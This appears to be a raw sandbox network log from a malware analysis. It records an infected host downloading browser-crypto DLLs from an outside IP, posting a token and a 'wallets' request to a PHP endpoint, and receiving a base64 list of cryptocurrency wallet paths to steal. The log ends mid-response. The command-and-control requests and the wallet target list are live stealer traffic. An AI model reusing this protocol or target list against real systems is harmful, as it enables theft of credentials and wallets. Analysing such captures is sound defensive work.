41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 23, 2024 09:38:13.152720928 CEST	94	OUT	GET /15f649199f40275b/msvcp140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:13.666269064 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:13 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 23, 2024 09:38:17.992583990 CEST	90	OUT	GET /15f649199f40275b/nss3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:18.295630932 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:18 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 23, 2024 09:38:23.149837971 CEST	94	OUT	GET /15f649199f40275b/softokn3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:23.455013037 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:23 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 23, 2024 09:38:23.924514055 CEST	98	OUT	GET /15f649199f40275b/vcruntime140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:24.231817007 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:24 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 23, 2024 09:38:25.029778957 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 185.172.128.76 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:25.364768982 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:25.512453079 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="message"wallets------GCGDHJDAFHJEBFIDAFHI--
Apr 23, 2024 09:38:25.825758934 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 